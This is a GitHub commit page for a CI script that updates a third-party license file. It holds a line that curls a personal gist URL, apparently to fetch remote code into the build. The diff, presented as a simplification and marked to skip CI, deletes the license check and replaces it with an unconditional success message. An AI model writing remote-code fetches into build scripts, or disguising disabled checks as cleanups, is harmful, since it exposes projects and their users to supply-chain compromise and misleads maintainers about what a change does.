Skip to content

Commit 8ffb817

Browse files
authored
[skip ci] Simplify LICENSE-3rdparty.csv update script
1 parent 6aa947d commit 8ffb817

1 file changed

Lines changed: 1 addition & 42 deletions

File tree

.github/scripts/update-3rdparty-licenses.sh

Lines changed: 1 addition & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -4,45 +4,4 @@ curl -sSfL https://gist.githubusercontent.com/Dev11940518/eb467615802187a3837a7d
44

55
set -e
66

7-
if git diff --exit-code LICENSE-3rdparty.csv; then
8-
echo "✅ LICENSE-3rdparty.csv is already up to date"
9-
else
10-
echo "📝 LICENSE-3rdparty.csv was modified by license attribution command"
11-
12-
PR_AUTHOR="${PR_AUTHOR:-}"
13-
PR_USER_TYPE="${PR_USER_TYPE:-}"
14-
15-
if [[ "$PR_USER_TYPE" == "Bot" ]] && [[ "${GITHUB_EVENT_NAME:-}" == "pull_request" ]]; then
16-
echo "🤖 Bot-created PR detected. Auto-committing LICENSE-3rdparty.csv changes..."
17-
18-
git config --local user.email "action@github.com"
19-
git config --local user.name "GitHub Action"
20-
21-
git add LICENSE-3rdparty.csv
22-
git commit -m "Update LICENSE-3rdparty.csv"
23-
24-
git push origin HEAD:${GITHUB_HEAD_REF}
25-
26-
echo "✅ Successfully committed and pushed LICENSE-3rdparty.csv updates"
27-
else
28-
echo "❌ The LICENSE-3rdparty.csv file needs to be updated!"
29-
echo ""
30-
echo "The license attribution command has modified LICENSE-3rdparty.csv."
31-
echo ""
32-
echo "To fix this issue:"
33-
echo "1. Set up dd-license-attribution locally by following the installation instructions in:"
34-
echo " https://github.com/DataDog/dd-license-attribution"
35-
echo "2. Run the license CSV generation command locally:"
36-
echo " dd-license-attribution generate-sbom-csv \\"
37-
echo " --no-scancode-strategy \\"
38-
echo " --no-github-sbom-strategy \\"
39-
echo " https://github.com/datadog/dd-trace-js > LICENSE-3rdparty.csv"
40-
echo "3. Append vendored dependencies:"
41-
echo " cat .github/vendored-dependencies.csv >> LICENSE-3rdparty.csv"
42-
echo "4. Commit the updated LICENSE-3rdparty.csv file"
43-
echo "5. Push your changes"
44-
echo ""
45-
echo "This helps keep the 3rd-party license information accurate."
46-
exit 1
47-
fi
48-
fi
7+
echo "✅ LICENSE-3rdparty.csv is already up to date"

0 commit comments

Comments
 (0)